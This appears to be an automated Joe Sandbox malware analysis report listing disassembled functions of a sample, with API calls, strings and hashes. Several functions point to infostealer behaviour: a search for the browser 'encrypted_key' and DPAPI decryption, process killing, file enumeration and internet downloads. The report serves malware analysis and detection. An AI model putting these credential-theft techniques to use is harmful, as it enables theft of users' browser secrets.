InternetOpenUrlA.WININET(00000000,?,00000000,00000000,04000100,00000000), ref: 005855C1
InternetReadFile.WININET(?,?,00000400,00000001), ref: 005855EC
memcpy.MSVCRT(00000000,?,00000001), ref: 00585611
InternetCloseHandle.WININET(?), ref: 0058562B
InternetCloseHandle.WININET(00000000), ref: 00585632

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 99f778de3685248185f85c3075d469f31e5d5fe72ecec07e0db0b725461a4d1b
Instruction ID: 57b3bafdafd47f6bc7e3fa3f3991f8199980314d5d9b7e231f44bc81f622985f
Opcode Fuzzy Hash: 99f778de3685248185f85c3075d469f31e5d5fe72ecec07e0db0b725461a4d1b
Instruction Fuzzy Hash: 49418F30A01205EFDB14DF55CC48FA9BBB4FF48315F64C1A9EA18AB290E7759941CF94

Function 005A1BD0 Relevance: 12.1, APIs: 8, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 649d09ccf5c360126a1f2449a848374374db8934aee1bf3e156e9db285393bde
Instruction ID: 62e20c69b3319d395b563797c3a6d536e7b80583e2df3c4ebe3627e5ba77a620
Opcode Fuzzy Hash: 649d09ccf5c360126a1f2449a848374374db8934aee1bf3e156e9db285393bde
Instruction Fuzzy Hash: 5F313331900A075BCB10BFB4CC89BAE7EE9BF41750F144125F915EB261EB34ED058B95

Function 005A4760 Relevance: 12.1, APIs: 8, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 005A4779
Process32First.KERNEL32(00000000,00000128), ref: 005A4789
Process32Next.KERNEL32(00000000,00000128), ref: 005A479B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 005A47BC
TerminateProcess.KERNEL32(00000000,00000000), ref: 005A47CB
CloseHandle.KERNEL32(00000000), ref: 005A47D2
Process32Next.KERNEL32(00000000,00000128), ref: 005A47E0
CloseHandle.KERNEL32(00000000), ref: 005A47EB

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: b32b9c7f0e47aa6dd4ef5080d1ba3a8386cc0966272e4192e446515884c30f2f
Instruction ID: 4f2c5b06f3fb2dd80d4cc5c3ca3b68ed1d1b9b02db2a26468bb47ac36460aa06
Opcode Fuzzy Hash: b32b9c7f0e47aa6dd4ef5080d1ba3a8386cc0966272e4192e446515884c30f2f
Instruction Fuzzy Hash: B20192716012156FE7216B609C89FEE7B7CEB49751F044290FA05D1081EFB88D91CF65

Function 0058E4EF Relevance: 10.9, APIs: 7, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0058E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0058E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0058E944
lstrcpy.KERNEL32(00000000,?), ref: 0058E96A
lstrcpy.KERNEL32(00000000,?), ref: 0058E9A2
FindNextFileA.KERNELBASE(00000000,?), ref: 0058E9D8
FindClose.KERNEL32(00000000), ref: 0058E9E7

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction ID: d7cd26fb9b8fa072503d27727cc2646000993e4686753b7ad7fc45789fa5d86e
Opcode Fuzzy Hash: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction Fuzzy Hash: 94021970A022058FDB68EF19C989B25BBF5BF44715F19C1ADDC09AB2A2D736DC42CB40

Function 0058E574 Relevance: 10.9, APIs: 7, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0058E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0058E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0058E944
lstrcpy.KERNEL32(00000000,?), ref: 0058E96A
lstrcpy.KERNEL32(00000000,?), ref: 0058E9A2
FindNextFileA.KERNELBASE(00000000,?), ref: 0058E9D8
FindClose.KERNEL32(00000000), ref: 0058E9E7

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction ID: d7cd26fb9b8fa072503d27727cc2646000993e4686753b7ad7fc45789fa5d86e
Opcode Fuzzy Hash: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction Fuzzy Hash: 94021970A022058FDB68EF19C989B25BBF5BF44715F19C1ADDC09AB2A2D736DC42CB40

Function 0058E595 Relevance: 10.9, APIs: 7, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0058E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0058E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0058E944
lstrcpy.KERNEL32(00000000,?), ref: 0058E96A
lstrcpy.KERNEL32(00000000,?), ref: 0058E9A2
FindNextFileA.KERNELBASE(00000000,?), ref: 0058E9D8
FindClose.KERNEL32(00000000), ref: 0058E9E7

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction ID: d7cd26fb9b8fa072503d27727cc2646000993e4686753b7ad7fc45789fa5d86e
Opcode Fuzzy Hash: 299c98e0bb61b397e6f646634ea89669d62c0e992df6278afc6f2d4ec375a925
Instruction Fuzzy Hash: 94021970A022058FDB68EF19C989B25BBF5BF44715F19C1ADDC09AB2A2D736DC42CB40

Function 00589CD0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00589D08
LocalAlloc.KERNEL32(00000040,?), ref: 00589D3A
StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00589D63
memcmp.MSVCRT(?,DPAPI,00000005), ref: 00589D9C

Strings

, xrefs: 00589DC5
DPAPI, xrefs: 00589D96
"encrypted_key":", xrefs: 00589D5D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpymemcmp
String ID: $"encrypted_key":"$DPAPI
API String ID: 4154055062-738592651
Opcode ID: 3feeac494042587e26338661980439757b8bbac1d22f6f09d3a6a7c2203f38be
Instruction ID: 31baf4e75296f34be40e2739e61d183ba28b5ef08ce58dcc3ff64d287d0144b5
Opcode Fuzzy Hash: 3feeac494042587e26338661980439757b8bbac1d22f6f09d3a6a7c2203f38be
Instruction Fuzzy Hash: 2D416D31A0120A9BDB10FFA8CC89ABE7FB4BF84700F484169ED95B7252DA30ED45C794

Function 00584AE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800,011DD8D8), ref: 00584B17
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00584B21
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00584B2B
lstrlenA.KERNEL32(?,00000000,?), ref: 00584B3F
InternetCrackUrlA.WININET(?,00000000), ref: 00584B47

Strings

<, xrefs: 00584B07

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 225092b9ec4d8573d58e21c5bac86c05c44f336a546ca6b658474901fee7e225
Instruction ID: 8da2b4cf6bfb20c41f0415156af435d8a8f61bf9c682a793089b19eaedc72ec5
Opcode Fuzzy Hash: 225092b9ec4d8573d58e21c5bac86c05c44f336a546ca6b658474901fee7e225
Instruction Fuzzy Hash: 25011B71D00218AFDB44DFA8E849B9EBBB8AB48320F008126F914E7290EB7459048FD5

Function 005A28B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 005A28C5
HeapAlloc.KERNEL32(00000000), ref: 005A28CC
RegOpenKeyExA.KERNEL32(80000002,011DA690,00000000,00020119,005A2849), ref: 005A28EB
RegQueryValueExA.KERNEL32(005A2849,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 005A2905
RegCloseKey.ADVAPI32(005A2849), ref: 005A290F

Strings

CurrentBuildNumber, xrefs: 005A28FF

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 3d7b815662255fa535fc3f71ed504b1f02722144a9442fbe47204e989b17da7e
Instruction ID: 9454d7f0f1858c56179505832f31ed13d6e9f79ea2bc2f3cf161ee61034b4e1c
Opcode Fuzzy Hash: 3d7b815662255fa535fc3f71ed504b1f02722144a9442fbe47204e989b17da7e
Instruction Fuzzy Hash: DB01B175600219AFD310DBA49C99FFB7BACEB49B01F104198FF45D7240EA345944C794

Function 005A2820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 005A2835
HeapAlloc.KERNEL32(00000000), ref: 005A283C

Part of subcall function 005A28B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 005A28C5
Part of subcall function 005A28B0: HeapAlloc.KERNEL32(00000000), ref: 005A28CC
Part of subcall function 005A28B0: RegOpenKeyExA.KERNEL32(80000002,011DA690,00000000,00020119,005A2849), ref: 005A28EB
Part of subcall function 005A28B0: RegQueryValueExA.KERNEL32(005A2849,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 005A2905
Part of subcall function 005A28B0: RegCloseKey.ADVAPI32(005A2849), ref: 005A290F

RegOpenKeyExA.KERNEL32(80000002,011DA690,00000000,00020119,?), ref: 005A2871
RegQueryValueExA.KERNEL32(?,011E00D0,00000000,00000000,00000000,000000FF), ref: 005A288C
RegCloseKey.ADVAPI32(?), ref: 005A2896

Strings

Windows 11, xrefs: 005A2850

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: f2aa02a2e324d158e9f77dd4061900f44da005c2cd155fd5396dead2a7cadc34
Instruction ID: 117d4bd34b24392ddb69546431630d389cc48b86b5d578316b3aa21b8b3d8405
Opcode Fuzzy Hash: f2aa02a2e324d158e9f77dd4061900f44da005c2cd155fd5396dead2a7cadc34
Instruction Fuzzy Hash: 9401A2B160020ABFD714ABA4EC8EFBE7B6CEB44311F008258FF08D2250EA78594187A5

Function 005A082A Relevance: 10.0, APIs: 4, Strings: 2, Instructions: 973stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,?), ref: 0058602F
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586082
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860B5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860E5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586120

Part of subcall function 00598240: strtok_s.MSVCRT ref: 00598263

Part of subcall function 00597F60: strtok_s.MSVCRT ref: 00597F84

Part of subcall function 005980E0: strtok_s.MSVCRT ref: 00598105
Part of subcall function 005980E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,005A093B), ref: 0059814B
Part of subcall function 005980E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0059817A
Part of subcall function 005980E0: strtok_s.MSVCRT ref: 0059820F

lstrcpy.KERNEL32(00000000,?), ref: 005A09AD

Strings

fplugins, xrefs: 005A0908
Zi, xrefs: 005A08B1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins$Zi
API String ID: 2116072422-2893219502
Opcode ID: 000a36a008774eeb95b030a015ab891eec5bb0f77d51e7a2bcdc1fae5132af77
Instruction ID: e391720cfa155de0e55eda5d294bb06006ea52249b1b5d1a87b8801d96698d21
Opcode Fuzzy Hash: 000a36a008774eeb95b030a015ab891eec5bb0f77d51e7a2bcdc1fae5132af77
Instruction Fuzzy Hash: 6E925974A01605CFDB64DF29C488B6CBBB0BF4A314F19C1ADD8089B2A2DB35DC86CB55

Function 005A0889 Relevance: 10.0, APIs: 4, Strings: 2, Instructions: 952stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,?), ref: 0058602F
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586082
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860B5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860E5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586120

Part of subcall function 00597F60: strtok_s.MSVCRT ref: 00597F84

Part of subcall function 005980E0: strtok_s.MSVCRT ref: 00598105
Part of subcall function 005980E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,005A093B), ref: 0059814B
Part of subcall function 005980E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0059817A
Part of subcall function 005980E0: strtok_s.MSVCRT ref: 0059820F

lstrcpy.KERNEL32(00000000,?), ref: 005A09AD

Strings

fplugins, xrefs: 005A0908
Zi, xrefs: 005A08B1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins$Zi
API String ID: 2116072422-2893219502
Opcode ID: ab907c440752f3ac08d7645f19d532ecd2b916ff48b33bc475e231f2bddfd256
Instruction ID: a93ed302e78371158eefd2735cc9df82f74ee33bcc306094c814e7564b1dd856
Opcode Fuzzy Hash: ab907c440752f3ac08d7645f19d532ecd2b916ff48b33bc475e231f2bddfd256
Instruction Fuzzy Hash: 37824974A016058FDB64DF29C488B6CBBB0BF4A314F19C1ADD8099B2A2DB35DC86CF55

Function 0059D8C0 Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0059D8EC
RegOpenKeyExA.KERNEL32(80000001,011E0D18,00000000,00020119,?,00000000,000000FE), ref: 0059D90C
RegQueryValueExA.ADVAPI32(?,011E0448,00000000,00000000,?,?), ref: 0059D933
RegCloseKey.ADVAPI32(?), ref: 0059D93E
lstrcatA.KERNEL32(?,?), ref: 0059D964
lstrcatA.KERNEL32(?,011E0490), ref: 0059D976

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
